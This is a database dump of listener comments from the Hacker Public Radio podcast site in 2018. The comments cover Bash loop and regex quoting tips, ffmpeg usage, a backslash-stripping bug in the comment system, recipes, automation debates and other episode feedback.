(2503,2651,'2018-09-30 14:00:47','Dave Morriss','Re: The loop issue','ls *.mp3|while read i;do ffmpeg -i \"${i}\" \"${i}.wav\" 2&gt;&amp;1;done\r\n\r\nYou don\'t say how this fails, but there are several reasons not to do things this way:\r\n\r\n1. It\'s unwise to feed a \'while\' loop thorough a pipe because the \'while\' runs\r\nin a separate shell which can lead to problems\r\n\r\n2. Never use \'ls\' to get a list of files for consumption in a script. Unless\r\nyou can be completely sure that the \'ls\' you are using isn\'t adding suffixes\r\nlike \'@\' for links, and \'/\' for directories and isn\'t adding colour codes to\r\nthe names, don\'t do it. Much better to use \'find\'.\r\n\r\nMy test with this pipeline returned colour codes which \'ffmpeg\' didn\'t like,\r\nand it failed that way.\r\n\r\nfor i in *.mp3;do ffmpeg -i \"${i}\" \"${i}.wav\" 2&gt;&amp;1;done\r\n\r\nThis doesn\'t use \'ls\' it simply uses file expansion therefore no additional\r\nfilename garbage!\r\n\r\nDid I mention: don\'t use \'ls\' as a way of feeding filenames to a loop or\r\nwhatever?\r\n\r\nThe first example would have worked if you\'d written:\r\n\r\nwhile read i;do ffmpeg -i \"${i}\" \"${i}.wav\" 2&gt;&amp;1;done &lt; &lt;(find . -maxdepth 1 -name \"*.mp3\")\r\n\r\nThe \'-maxdepth 1\' option prevents \'find\' from going into sub-directories. The\r\n\'find\' is inside a process substitution which is redirected to the \'while\' so\r\nthe \'read\' inside it can obtain what is produced on its STDIN channel.\r\n\r\nAlso, if it had been me I\'d have written:\r\n\r\nffmpeg -i \"${i}\" \"${i}.wav\"\r\n\r\nas:\r\n\r\nffmpeg -i \"${i}\" \"${i%mp3}wav\"\r\n\r\nto avoid the output files being called \'xxx.mp3.wav\'. I spoke about this in my\r\n\"Bash Tips\" show https://hackerpublicradio.org/eps.php?id=1648\r\n\r\nDave','2022-02-14 13:25:08'),
(2504,2651,'2018-09-30 14:13:58','Ken Fallon','Clarify','I\'m not sure you\'re cleare enough about using ls.\r\n\r\nIt fails as it only does one mp3, while while does them all.','2018-09-30 14:28:12'),
(2505,1512,'2018-09-30 14:19:53','Ken Fallon','Ahhh so that\'s what counterpoint is.','Polyphonic had a video about Scarborough Fair/Canticle: How Simon and Garfunkel Created a Timeless Song, and it struck me what counterpoint was.','2018-09-30 14:28:12'),
(2506,2651,'2018-09-30 15:02:06','Dave Morriss','Re: Clarify','I think the thing to take away is: Don\'t use \'ls\' for this purpose. I might have said that before ;-)\r\n\r\nOne way to debug your problem (should you feel that avoiding \'ls\' is not enough) might be this:\r\n\r\n1. Create a function to display the arguments:\r\n\r\n_ffmpeg() { printf \"ffmpeg %s %s %sn\" \"${@}\"; }\r\n\r\n2. Run your pipeline thus:\r\n\r\nls *.mp3|while read i;do _ffmpeg -i \"${i}\" \"${i}.wav\" 2&gt;&amp;1;done\r\n\r\nI tested things like this:\r\n\r\n$ cd /tmp\r\n$ touch {a..f}.mp3\r\n$ ls *.mp3|while read i;do _ffmpeg -i \"${i}\" \"${i}.wav\" 2&gt;&amp;1;done\r\nffmpeg -i a.mp3 a.mp3.wav\r\nffmpeg -i b.mp3 b.mp3.wav\r\nffmpeg -i c.mp3 c.mp3.wav\r\nffmpeg -i d.mp3 d.mp3.wav\r\nffmpeg -i e.mp3 e.mp3.wav\r\nffmpeg -i f.mp3 f.mp3.wav\r\n\r\nThe names like \'a.mp3\' are all coloured blue.\r\n\r\nIf I use the real \'ffmpeg\' I get (output heavily truncated with only one file shown):\r\n\r\nffmpeg version 4.0.2-2 Copyright (c) 2000-2018 the FFmpeg developers\r\n  built with gcc 8 (Debian 8.2.0-7)\r\n  configuration: --prefix=/usr --extra-version=2 --toolchain=hardened \r\n\r\n[snip]\r\n\r\n  libswresample   3.  1.100 /  3.  1.100\r\n  libpostproc    55.  1.100 / 55.  1.100\r\n?[0m?[00;36ma.mp3?[0m: No such file or directory\r\n\r\nThe codes before and after \'a.mp3\' are colour on/off codes.\r\n\r\nYour environment will certainly be different of course, so your failures may not be the same.\r\n\r\nClear?','2018-09-30 15:04:41'),
(2507,2651,'2018-09-30 15:08:27','Dave Morriss','Does the comment system remove backslashes?','I actually wrote:\r\n\r\n_ffmpeg() { printf \"ffmpeg %s %s %s\\n\" \"${@}\"; }\r\n\r\nbut something removed the backslash.','2018-09-30 15:10:43'),
(2508,2651,'2018-10-01 11:03:53','folky','Material for a show','@Ken and @Dave\r\nTake your comments and make a collaborative show of the material ;-)','2018-10-01 11:35:17'),
(2509,2651,'2018-10-01 12:16:59','Ken Fallon','touch&eacute; Sir','touch&eacute;','2018-10-01 12:47:40'),
(2510,2650,'2018-10-01 14:41:10','Shane Shennan','Link about Milk Bags','Hi, Ken! The following link will tell you more than you ever wanted to know about bagged milk. :) This is how milk is generally sold in Ontario, Nova Scotia, and New Brunswick, and probably in the other Canadian Provinces and Territories as well.\r\n\r\nhttps://en.wikipedia.org/wiki/Milk_bag','2018-10-01 14:57:30'),
(2511,2651,'2018-10-01 14:59:05','clacke','subshell issues','As Dave points out, the while loop you describe would work if it weren\'t for ls issues. Here\'s what doesn\'t work:\r\n\r\nitems=()\r\nproduce_items | while read item; items+=( \"$item\" ); done\r\ndo_stuff_with \"${items[@]}\"\r\n\r\nOh, how many times I have made this mistake.\r\n\r\n\"items\" gets updated just fine, in a subshell, and then after the pipe has finished executing, execution continues in the parent shell where the array is still empty.\r\n\r\nNull-terminating and giving \"read\" the appropriate parameters is an HPR episode of its own, no doubt already made by Dave, or in his pipeline. ;-)','2018-10-01 15:03:52'),
(2512,2651,'2018-10-01 15:00:26','clacke','Kvalificerat hemligt','Excellent pronuncation, Dave! You\'re spot on.\r\n\r\nCompared to \"kvalificerat hemligt\", \"skeptikerpodden\" is trivial to say. :-)','2018-10-01 15:03:52'),
(2513,2644,'2018-10-01 15:10:58','clacke','Re: Kvalificerat hemligt','I\'ve stopped listening to Kvack! too. I like the people, and I enjoy listening to them hanging out, but in the limited time I have and the massive amount of content out there, that\'s not enough to put the podcast in the queue. It\'s too much opinion and too little education and insightful analysis.\r\n\r\nI quite like https://theesp.eu/ as well, but it\'s also far from SGU levels in relevance and production values. Unfair perhaps, as SGU has over a decade of podcasting under their belt, but that\'s how it is.','2022-02-14 13:25:08'),
(2514,2627,'2018-10-01 15:25:03','clacke','Re: stoop','That explains why it\'s a \"stoop sale\"!\r\n\r\n(which is a garage sale, which is like a yard sale, if you live in Brooklyn ...)','2018-10-01 15:31:03'),
(2515,2651,'2018-10-01 15:34:27','clacke','Re: Intro volume','While it is true that we hosts could do more to manage our sound levels, the facts on the ground are that the intro music is louder than the average show.\r\n\r\nI have thought often that the intro volume should be a bit lower, but never said anything.','2018-10-01 15:38:48'),
(2516,2651,'2018-10-01 15:36:05','Dave Morriss','She sells subshells...','I think I have to do a show on the whole issue of loops in pipelines. It\'s been in the \"topics to cover\" heap for a while but now it\'s being re-prioritised! I\'ll probably make it show 14 in the \"Bash Tips\" subset.','2018-10-01 15:38:48'),
(2517,2651,'2018-10-01 15:39:43','clacke','Re: TTS over intro music','We could still allow people to add arbitrary intros, and just not do TTS-over-intro in those cases. But the idea to do TTS-over-intro on a list of prepared flexible-length intros is really cool.\r\n\r\nAs for me though, as you have noticed on my shows, I really like having a standardized intro as the unified HPR brand, while allowing some variation at the end.','2018-10-01 15:48:53'),
(2518,2651,'2018-10-01 16:43:35','clacke','That brings back memories','I never listen to my own shows via the feed, so I never listen to my whistling outro either.\r\n\r\nAs I hear it now, man does that bring back memories. I remember exactly where I was walking on the way to my bus to work as I was recording it. That was three homes, one country, three offices, three kindergartens and three years ago.\r\n\r\nI can feel the chill from the November morning fog around J&auml;rf&auml;lla Church on my cheeks as I\'m typing this.\r\n\r\nI know that I accidentally set the sample rate too low when I recorded it (11.25 kHz, I believe), but hearing it now that sound quality is worse than I remember it. :-)','2018-10-01 16:50:40'),
(2519,1512,'2018-10-02 22:20:47','Jon Kulp','Talk about reviving...','Ken, are you just now getting around to listening to this episode? Whoever thought this old thing would get brought back from the dead haha! Anyway yes, counterpoint is the art of combining melodies. :)','2018-10-03 07:07:38'),
(2520,2635,'2018-10-03 06:16:53','Jan','Second Reading','Hi there,\r\n\r\ni just listen a second time and say \"Thanks for the effort made.\"','2018-10-03 07:07:38'),
(2521,2640,'2018-10-03 15:59:17','MrX','Re Audio quality','Hi thelovebug, many thanks for the kind comment glad you enjoyed the show, yes I couldn\'t believe what a difference it made swapping microphones.','2018-10-03 16:01:38'),
(2522,2648,'2018-10-03 16:05:08','MrX','Re Thanks pas','Hi NYbill many thanks for the comment glad you liked the show, yes as you could tell from the show I didn\'t know what a few of the controls did, so it will indeed be bewildering to start with. I\'ve tried to fill in some of the gaps in the show notes, \r\n\r\nAll the best \r\n\r\nMrx','2018-10-03 16:43:45'),
(2523,2134,'2018-10-07 16:59:58','david pellecchia','systemd service','Top Man!\r\nMany thanks for posting your information regarding systemd services. I\'ve been pulling my hair out trying to work out why my pre-shutdown script would not fire. Then I found your post.\r\nA very big thank you to you.','2018-10-07 17:13:14'),
(2524,1308,'2018-10-08 12:01:41','Gort','Computer Intro Outline','This is a fine beginners list. It hits all the \"big pieces\" of the tools set and forms a solid foundation for continued learning. This is neat, succinct, and is an outstanding resource. Thanks for putting this together.','2018-10-08 12:06:24'),
(2525,2654,'2018-10-08 16:13:24','lostnbronx','Great Recipe','I just made a simple breakfast using your recipe. It was easy and delicious. I used brown sugar and cinnamon, and it was a hit. Great content, thanks for uploading!','2018-10-08 16:18:52'),
(2526,2654,'2018-10-09 05:49:42','Jonas','How I make crepes','This is so good. Thanks for the show. I always wonder how other people make similar things I like. \r\nAs it happens, I just made crepes yesterday. \r\nI have no idea why my Texas mom started making crepes, but I just remember having them at home as a kid. \r\nI don\'t know if what I do is technically called a crepe but it\'s very crepe like, or maybe more super thin pancake like. \r\nI\'m not much of a measurer. I typically start with 1 to 1.5 cups flour and add a couple table spoons to 1/4 cup of sugar depending on the day. I also add lots of cinnamon. 1/4 teaspoon to a half table spoon. Again depending on the amount of flour, the sugar and cinnamon increases. \r\nThis is basically a dessert crepe.\r\nAfter whisking the dry together with a 1/8 teaspoon of salt or or less, I add 3/4 cup of milk. If the mix isn\'t watery enough, add more milk until pretty thin. Then add an egg and beat in completely. \r\nI have a gas stove, so I put the flame on to just above as low as it can go without going out. I let that heat a stainless pan for several minutes, while putting the other things together. More flame if you know what you\'re doing. You want the pan to be the right temp before putting in the first drizzle of batter. \r\nI like to use a cake decorating bottle to put the batter in the pan. Get the bottles at Ross, a discount store, or at the dreaded Wal-Mart. You could probably enlarge the opening on one of the $.99 ketchup/mustard squeeze bottles, but they are not clear like the decorating bottles. \r\n\r\nJust before putting the batter in the pan, swirl around then end of a stick of butter just enough to wet the pan. Start at the center of the pan with a splash of batter making an ever widening circle until you cover 2/3 of the pan. If the batter is thin enough it will spread itself. Otherwise you can pick up and jostle the pan to flatten more. I generally cook until the edges curl and the top starts looking less wet, then flip and cook the other side 10-20 seconds to firm up top side.','2018-10-09 07:02:21'),
(2527,2654,'2018-10-10 00:18:29','Shane Shennan','Brown Sugar!','lostnbronx, I am glad you got a good breakfast out of my episode.\r\n\r\nI never thought of making the cinnamon sugar with brown sugar! I have always used white sugar. I\'m going to try your way when my cinnamon sugar container is empty.','2018-10-10 07:12:29'),
(2528,2654,'2018-10-10 00:24:30','Shane Shennan','Thanks for sharing your technique!','Jonas, thanks for sharing your method. I like the way you put the cinnamon right into the batter, instead of using it as a topping. I also liked your tip of using a cake decorating bottle.','2018-10-10 07:12:29'),
(2529,2608,'2018-10-10 03:17:03','Bookewyrmm','Fandom','Great show, it\'s good to know there are other fans of Battle Tech out there! Do you also play MechWarrior Online and howndonyoi feel about the latest entry in the Mech Warrior single player game?','2018-10-10 07:12:29'),
(2530,2657,'2018-10-10 14:04:04','Brian in Ohio','Mr Baten\'s shows','Do you have any ideas on how to solve these problems? I\'ll crawl under my rock now.','2018-10-10 14:08:59'),
(2531,2658,'2018-10-11 06:01:13','Ken Fallon','This does NOT have to apply to HPR shows.','Great tips. Seriously.\r\n\r\nI need to temper this show with our HPR motto of \"any audio is better than no audio.\". We always put content over audio quality. \r\n\r\nWhile this may loose us listners, it gains us hosts.\r\n\r\nSure always try and record the best you can, but dont ever let it get in the way of submitting the show. Perfection leads to procrastination. \"It aint a show unless its on the server.\"','2018-10-11 07:55:32'),
(2532,1308,'2018-10-12 18:35:10','Shane Shennan','Thanks, Gort!','Thank you for your comment! I\'m glad that this episode still makes sense over five years after it was recorded.','2018-10-12 18:37:00'),
(2533,2640,'2018-10-14 08:07:33','lostnbronx@gmail.com','Great Sound Quality','What an improvement! I confess, I couldn\'t even finish the last ep due to the audio quality (and my standards are low), but this episode has fantastic sound. Great job!','2018-10-14 09:15:54'),
(2534,2657,'2018-10-14 20:53:24','dodddummy','You keep putting out my shows before I do!','Here\'s another show I\'ve recorded but didn\'t publish.  I am in the process of editing this one though. You do a better job than I do, however.  Perhaps I should sit back and revel in the fact that you\'re pulling my weight!\r\n\r\nI enjoyed the show, and obviously agree. I\'m still going to submit my episode; but will edit it touch on things you didn\'t.\r\n\r\nI really do wonder if people can look at the rate of change in the rate of change and not think that it\'s accelerating and just about everything that looks too pitiful now to take over our jobs, will continue in that state forever.\r\n\r\nIn my mind you only need to look at Boston Robotics.  People were citing the fact that Atlas kept falling over as evidence that he\'d never perform as well as humans.  A couple short years later and he\'s performing feats similar to parkour.\r\n\r\nCan we really not imagine how a couple of cycles of Moore\'s law\'s worth of improvement looks?','2018-10-14 20:57:18'),
(2535,2657,'2018-10-19 09:10:39','Denise','The podcast content','Its an interesting topic you bring up. personally I am appalled by scarecrow tactics. I\'d like to offer a different view. There is lots wrong with capitalism. First thing is that capitalists believe their system is the only answer. The hangover after our last industrial revolution gave us shorter working days, safety rules and employee rights at work. Currently there is lots of demand out there for sabbaticals or people taking a break. so hell yeah, give me a robot who does my job so I can recover from stress, spend time with my children or travel, do volunteer work. Why do we doubt Basic income? currently those breaks are only available for the rich or singles or childless. Have you seen a happy cashier? Have you heard a mine worker  shouting: yes - let\'s continue ruining my lung instead of giving me proper training so I can work in a solar panel farm. and for the doctors! I have met so many who were an utter waste of my time. yes, give me the Watson system. I had to retrain in my job 3 times over the last 6 years. it has been hard. it doesn\'t have to be! As you say, Robots give us an opportunity to focus on the things that matter in life. We dont have to run anymore all the time. Robots guarantee a basic level of productivity. We can find better and creative solutions to provide proper pay for people who work in the care. We can focus on figuring out why our society still struggles with all kinds of abuse, why we do not trust anyone, why we feel the need to destroy our beautiful world. we have a universe to explore and the complex systems in our world. and if there is the odd person not willing to work, then that\'s okay too. People have reasons! Capitalists only know the word more. When will you read all the books that keep accumulating on your bookshelf because you shouted MORE. There is no time because I have to be social, I have to take care of children, because I have to declare taxes, have to have that lawsuit with my neighbour, have to go to work, have to cl','2018-10-19 13:21:59'),
(2536,2666,'2018-10-22 01:42:10','Clinton Roy','systemd information','If you have any particular systemd problems, I could be poked into recording a show to help out with them?','2018-10-22 08:46:09'),
(2537,2667,'2018-10-23 18:09:38','b-yeezi','gcj deprecated','It\'s a shame that PDFtk is basically going away because the GCJ runtime has been deprecated by most major distros. PDFTK still lives on as a Snap. Also, there is a fork that uses openJDK instead. You can reference this Stack Overflow post:\r\n\r\nhttps://askubuntu.com/questions/1028522/how-can-i-install-pdftk-in-ubuntu-18-04-bionic','2018-10-23 18:16:12'),
(2538,2667,'2018-10-24 00:59:02','Clinton Roy','debian','I\'m rather confused about why there\'s a reliance on any particular java runtime, but at least on debian, if i request pdftk to be installed, pdftk-java is installed, and yeah, no screwing around required.','2018-10-24 06:56:03'),
(2539,2666,'2018-10-24 20:42:46','Brian in Ohio','wicd','Love any show that talks about slackware. The network setup you suggested is the best way to go about it but if you want to use wicd you first must install it. If you have the slackware disk its in the extras folder and can de installed using installpkg. You don\'t need to go out to a repository its in the installation media, just not installed by default. Thanks for doing a show about slackware, support Pat!','2018-10-24 22:15:35'),
(2540,2608,'2018-10-25 06:31:03','tuturto','MechWarrior online','I haven\'t played MechWarrior online or the new BattleTech computer game (although the latter one is on my list of things to try out at some point). I love seeing new games coming out for the BattleTech world and getting new fans into BattleTech universe.','2018-10-25 08:14:20'),
(2541,2677,'2018-10-22 22:01:53','dodddummy','Looks like I forgot to tuncate silence','Sorry about that.','2018-10-26 07:20:17'),
(2542,2669,'2018-10-26 10:17:21','Mad Sweeney','Quoted Literals in Regex','Hi,\r\n\r\nIt seems the rule of quoted literals doesn\'t apply if the RHS is a variable. So a variable with a quoted \".\" would try to match a quote followed by . followed by another quote.\r\nIf you wanted to match a quote in a literal RE you would have to write \".\"\r\nThe following Bash snippet illustrates:\r\n\r\n#!/bin/bash                                                                     \r\n                                                                                 \r\nv=0                                                                             \r\nfor r in \'^a.b$\' \'^a\".\"b$\' \"^a\'.\'b$\"; do                                       \r\n  ((v++))                                                                       \r\n  # matches var 1 only                                                          \r\n  [[ a.b =~ $r ]] &amp;&amp; echo match var $v                                          \r\n  # matches var 2 only                                                          \r\n  [[ \'a\".\"b\' =~ $r ]] &amp;&amp; echo match double quote $v                             \r\n  # matches var 3 only                                                          \r\n  [[ \"a\'.\'b\" =~ $r ]] &amp;&amp; echo match single quote $v                             \r\n  # all 3 match                                                                 \r\n  eval \"[[ a.b =~ $r ]] &amp;&amp; echo match eval $v\"                                  \r\ndone \r\n\r\nI find the numerous ways of testing in Bash confusing. I have to look up the manual every time I come back to Bash scripting. I hope posting about it will help keep it in the brain.\r\n\r\n--Mad','2018-10-26 13:09:59'),
(2543,2669,'2018-10-26 14:12:00','Mad Sweeney','Re: Quoted Literals in Regex','It also seems like HPR comments eats backslashes!\r\nHere\'s my comment showing where backslashes should be.\r\nWould be good if there was a preview comment option:\r\n\r\nIt seems the rule of quoted literals doesn\'t apply if the RHS is a variable. So a variable with a quoted \".\" would try to match a quote followed by . followed by another quote.\r\nIf you wanted to match a quote in a literal RE you would have to write {backslash}\"{backslash}.{backslash}\"\r\nA literal RE \".\" would be like unquoted {backslash}.\r\nThe following Bash snippet illustrates:\r\n\r\n#!/bin/bash\r\n\r\nv=0\r\nfor r in \'^a{backslash}.b$\' \'^a\".\"b$\' \"^a\'.\'b$\"; do\r\n  ((v++))\r\n  # matches var 1 only\r\n  [[ a.b =~ $r ]] &amp;&amp; echo match var $v\r\n  # matches var 2 only\r\n  [[ \'a\".\"b\' =~ $r ]] &amp;&amp; echo match double quote $v\r\n  # matches var 3 only\r\n  [[ \"a\'.\'b\" =~ $r ]] &amp;&amp; echo match single quote $v\r\n  # all 3 match\r\n  eval \"[[ a.b =~ $r ]] &amp;&amp; echo match eval $v\"\r\ndone','2018-10-26 15:31:10'),
(2544,2669,'2018-10-26 15:23:27','Stuart Little','quoting portions of regex','Re: the previous comment by Mad Sweeney:\r\n\r\nYou can quote portions of variables on the RHS just fine, but for the match to work the overall pattern you\'re trying to match must not be enclosed in *outer* quotes. So for instance, the following modification of your script works fine (matches): \r\n\r\n---\r\n server=\"hackerpublicradio.org\"\r\n\r\nfor re in \r\n    publicradio\".\"org\r\ndo\r\n    echo \"Using regular expression: $re\"\r\n    if [[ $server =~ $re ]]; then\r\n        echo \"This is HPR\"\r\n    else\r\n        echo \"No match\"\r\n    fi\r\ndone\r\n---\r\n\r\nNote that there are no outside quotes on publicradio\".\"org. \r\n\r\nThe issue was visible from the echoes given out by bash. When you received the message\r\n\r\nUsing regular expression: ^(hacker|hobby)publicradio\".\"org$\r\nNo match\r\n\r\nyou can see bash was searching for actual quotes around the period, which of course are not there in the string $server.','2018-10-26 15:35:46'),
(2545,2669,'2018-10-26 22:23:16','Mad Sweeney','Re: Quoted Literals in Regex','The quirk Dave refers to is that you can remove the meta-status of a character in a literal RHS by quoting it so abc\'.\'def only matches abc.def but not abcxdef, and that it seems there is no way to do that using a regex in a variable: in a variable you only have the traditional backslash escape which you can also use in a literal regex.\r\n\r\n--Mad','2018-10-27 09:30:36'),
(2546,2669,'2018-10-27 10:09:51','Dave Morriss','Thanks for the combined wisdom being directed at my question','Thanks to Mad Sweeney and Stuart Little for commenting on this issue.\r\n\r\nIn the light of your comments my simple tests were these:\r\n\r\n$ [[ \'axb\' =~ a.b ]] &amp;&amp; echo \"Match\"\r\nMatch\r\n- The RE on the right uses \'.\' as a metacharacter\r\n\r\n$ [[ \'axb\' =~ a\'.\'b ]] &amp;&amp; echo \"Match\"\r\n- The \"meta-ness\" of the \'.\' is removed by quoting, so no match\r\n\r\n$ [[ \'a.b\' =~ a\'.\'b ]] &amp;&amp; echo \"Match\"\r\nMatch\r\n- Proving that a literal match works\r\n\r\n$ re=\"a\'.\'b\"\r\n$ [[ \'a.b\' =~ $re ]] &amp;&amp; echo \"Match\"\r\n- Now the match fails if the RE is in a variable\r\n\r\n$ eval \"[[ \'a.b\' =~ $re ]] &amp;&amp; echo Match\"\r\nMatch\r\n- Following Mad Sweeney\'s lead, the \'eval\' substitutes in the contents of \'$re\' so it looks to the extended test like the literal string we used earlier, and thus it works.\r\n\r\nMy working hypothesis is that the Bash logic processing this can deal with quoted metacharacters in a \"bare string\" but isn\'t used when the RE is in a variable - or maybe in any case where expansion is needed to provide the RHS argument.\r\n\r\nYou\'d have to think this was a bug I guess.','2018-10-27 10:24:13'),
(2547,2669,'2018-10-27 10:31:10','Dave Morriss','Backslashes in comments','Yes, there\'s a bug in the comment code (or what I call a bug).\r\n\r\nI think that, in the spirit of avoiding the \"Little Bobby Tables\" error the comment text is being sanitised, but the sanitisation includes backslash removal.\r\n\r\nYou can include a backslash at the moment, but you need to double it: backslash \'\\\'\r\n\r\nWe\'ll have a look at this issue.\r\n\r\nDave','2018-10-27 10:33:33'),
(2548,2669,'2018-10-27 21:37:10','Mad Sweeney','Not just backslashes','It\'s eating ampersands too! Grrrrrrrrrrrrr!','2018-10-27 21:48:09'),
(2549,2669,'2018-10-27 22:00:20','Dave Morriss','Comments eating ampersands?','I don\'t see evidence of ampersand eating. Could you point to an example?\r\n\r\nMy earlier comment #5 had ampersands galore and they are all visible, unless I\'m missing something. They are being turned into HTML entities of course, but that\'s what you\'d expect.','2018-10-27 22:02:37'),
(2550,2669,'2018-10-27 23:59:10','Mad Sweeney','Re: Comments eating ampersands?','Apologies Dave, It\'s a bug in the screen reader: reading one ampersand where there are two.\r\n[I must dump all this proprietary as soon as possible.]','2018-10-28 09:59:49'),
(2551,2667,'2018-10-31 09:18:23','Klaatu','Thanks for the snap tip','I install and use pdftk on Slackware, so far without any issue. It\'s good to know about its availability in snap packages, though...just in case.','2018-10-31 14:21:26'),
(2552,2668,'2018-10-31 22:33:51','Michael','Great Episodes!','Thank you for doing this, I love these episodes. They keep me smiling and occasionally screaming at the podcast player. You can be such a sadist, you know? :-) When describing the tuner: \"It\'s quite interesting to hear\" - \"I\'m not gona do that...\" Please let us hear! Sure you could find a way, like letting it tune up a dummy load or something. \r\nOn the same token, please use the radio in front of you to create audible examples. How does a signal sound, that is suffering from spark distortions and how is it improved by engaging the noise blanker?\r\n\r\nPlease don\'t get me wrong - the one who puts out shows is right. Your show, your choice. Please keep them coming the way you like to do them.\r\n\r\nOne more comment to the content: Hearing relays clicking is not necessarily attributed to the age of the transceiver. Even in modern gear the filter in the high power transmit path are switched by relays. I have seen \"Relay switched band filter.\" for receive as a selling point to indicate that there is no negative impact from the switching diodes. These can affect RF performance under certain conditions.\r\n\r\nRegards,\r\nMichael','2018-10-31 22:38:05'),
(2553,2629,'2018-11-01 04:36:52','Joel H.','Good ideas!','I just wanted to leave a quick comment about this show!\r\nI think the ideas and theories you presented in this episode are very good. With the contents of this episode alone, I believe someone could make an excellent video game. You\'ve done a good job at working out edge cases and small details to encourage learning.\r\n\r\nA point-and-click game sounds OK, but I was wondering about what you think of these ideas in a first-person exploration game, something similar to \"The Stanley Parable\"?','2018-11-01 09:35:45'),
(2554,2668,'2018-11-01 07:29:43','lostnbronx','Great Gear!','Wonderful mic, and VERY classy meter! Great ep, over all!','2018-11-01 09:35:45'),
(2555,2674,'2018-11-01 10:49:58','Jason Lewis','Volume','The audio is goo quiet','2018-11-01 10:52:02'),
(2556,2675,'2018-11-05 09:26:42','Gus','Praise','Thank you for two excellent tips, both how to manage youtube playlists and the Iridium plugin. It works great!','2018-11-05 09:50:38'),
(2557,2675,'2018-11-06 02:06:16','Ahuka','MY pleasure','I\'m glad you found this useful. That is why I record shows, to share with the community.','2018-11-06 08:20:19'),
(2558,2676,'2018-11-06 02:08:22','Ahuka','What were you going to say?','I noticed that on my shows you kept saying \"we\'ll get back to that\", but I don\'t think you ever did. Did you have a comment to give?','2018-11-06 08:20:19'),
(2559,2562,'2018-11-06 02:08:45','FiftyOneFifty','Getting paid in Cryptocurrency','This is a respond to hpr2562 :: \"I bought a laptop\".  Tangential to the main topic, I was intrigued to learn you are paid cryptocurrency.  You did not mention which type, but given the volatility in the better known cryptocurrencies, I&rsquo;m curious how that might effect one&rsquo;s income.  I&rsquo;m sending this to your e-mail referenced on the HPR website, but I&rsquo;m also posting these questions to the show comments, so any listener who gets paid in cryptocurrency can weigh in.  I&rsquo;d rather hear from community members whom a significant portion of their income comes in the form of cryptocurrency, but maybe someone who makes extra money from a hobby or side project can contribute their tales of fortunes won and lost.  At this time, I&rsquo;m not asking for stories from miners or people who lost their stash do to alleged  malfeasance (i.e., Mt. Gox).\r\n\r\n1.  You said you were paid in cryptocurrency.  Is this in the form of you get the equivalent of X Euros (replace with relevant national currency) a week based on the current exchange rate or is it fixed at Y units of cryptocurrency?\r\n2. If the latter answer to #1, what happens if the bottom drops out of said cryptocurrency?  Are you under contract, stuck working for nothing?  I guess the corollary would be what happens when cryptocurrency goes so high the company can&rsquo;t afford to pay you?\r\n3. Has volatility in the cryptocurrency market effected your financial status.  In other words, have you ever made plans based on a sudden uptick in your cryptocurrency savings, only to have them dashed when the bubble burst?\r\n\r\nAlmost a year ago, my non-techie friends started asking me about Bitcoin.  By that time, Bitcoin was in it&rsquo;s first stages of it&rsquo;s upwards ramp.  I really hadn&rsquo;t been paying attention, but suddenly Bitcoin was all over the news as this magical money tree that no-one knew existed.  I warned my friends that I thought the bubble was speculator driven, and would burst as fast as it had inflated.','2018-11-06 08:20:19'),
(2560,2558,'2018-11-06 02:29:00','FiftyOneFifty','You missed one','OK, probably more than one, I can see why English is so hard if it is not your first language.  Amazing we forced it down the world\'s throat as the universal tongue, over Latin and French.  Yeah team Anglo?  \r\n\r\nAnyway, in a future episode, you should reference affect/effect.  I also learned something else.  No American would think of using tenant as a verb.  That\'s another elephant in the room.  In the US, we reference ourselves with a term that applies to an entire hemisphere.  The topic abounds on YouTube, British vs USA culture.  Maybe we should open this up internationally and ask for third parties to tell us why we are both farking nuts?','2018-11-06 08:20:19'),
(2561,2676,'2018-11-07 23:30:05','dodddummy','Smiling all the way to the end.','Loved the addition of RMS\' rendition. However, I didn\'t not intend to replace Ken\'s version.','2018-11-07 23:48:09'),
(2562,2676,'2018-11-07 23:38:30','dodddummy','Ken\'s perfect example.','Ken illustrated my point well. Boston Dynamics might have scripted Atlas\' latest test, but there is still nice progress in the last couple of years. Seems clear to me that soon he\'ll be able to navigate things as they come.  Same with Watson. It won\'t take many doubling cycles before he stops making those types of mistakes.\r\n\r\nAnd with AI, robots, automation, whatever you want to call it, the knowledge is transferable. Whereas, often us meat sacks, have to repeat the mistakes of our predecessors to relearn as they did.\r\n\r\nSeems odd to me to look back at the tech improvements in just the past 20 years and not think these areas will be vastly improved upon, too.','2018-11-07 23:48:09'),
(2563,2558,'2018-11-10 12:32:07','Dave Morriss','Re: You missed one','Hi Fifty,\r\n\r\nOh yes, English is difficult. It\'s rich and interesting (to me anyway) but it\'s a beast as well.\r\n\r\nYes to affect/effect. I thought it was in my list, but it was not.\r\n\r\nBritish vs USA stuff: As I have aged I have tried very hard not to do the finger pointing and criticising of US English. I try to be critical across the board...!\r\n\r\nIn the 1980\'s I went to a conference run by Burroughs (when we had a mainframe at my work) and the speaker (from the US) said the word \"instantiate\". Some British guy interrupted and criticised him, saying it was not a word, only to be shot down with a dictionary reference. He looked a fool I thought, and vowed to myself never to do that!','2018-11-10 12:34:17'),
(2564,2672,'2018-11-11 22:23:13','Alison Chaiken','particularly informative episode','I\'ve never made much use of \'live\' media except for installation and system rescue, but I found the ideas shared by Klaatu particularly thought-provoking.   I have been travelling and wanted to perform some simple task like airline check-in from a lobby computer but hesitated over using Windows of any flavor for anything.   It would be fun to at least try to reboot these machines as Linux, but don\'t things like network proxy configuration screw up such attempts?\r\n\r\nIt would also be fun to test-drive Linux on PCs or laptops in computer stores, but don\'t staff wander by and tell the perpetrator to stop?  And doesn\'t secure-boot stop such attempts anyway?\r\n\r\nI\'m curious therefore, Klaatu, on what kinds of systems has this approach been successful?   Older, pre-secure-boot PCs?','2018-11-11 22:29:48'),
(2565,2684,'2018-11-15 12:46:43','ClaudioM','LOL!','Ha!! Hilariously short, sweet, and to the point! Thanks, Ken and kids! :-)','2018-11-15 12:51:08'),
(2566,2683,'2018-11-15 16:02:31','Ken Fallon','Super Dad','Wow.','2018-11-15 16:16:51'),
(2567,2684,'2018-11-16 09:51:23','pauleb','Great hack, great episode!!','I\'m absolutely going to do this at home!\r\nThanks a lot!','2018-11-16 12:17:35'),
(2568,2683,'2018-11-18 06:00:40','Clinton Roy','Thank you.','Thank you for being so open with this.','2018-11-18 10:09:25'),
(2569,2665,'2018-11-21 23:26:38','dodddummy','You\'ve convinced me.','Ahuka,\r\nI have a couple(3?) of the conditions you\'ve described and I found myself being more and more convinced as this episode went on I could make lifestyle changes, too.\r\n\r\nThanks, man.','2018-11-22 13:55:19'),
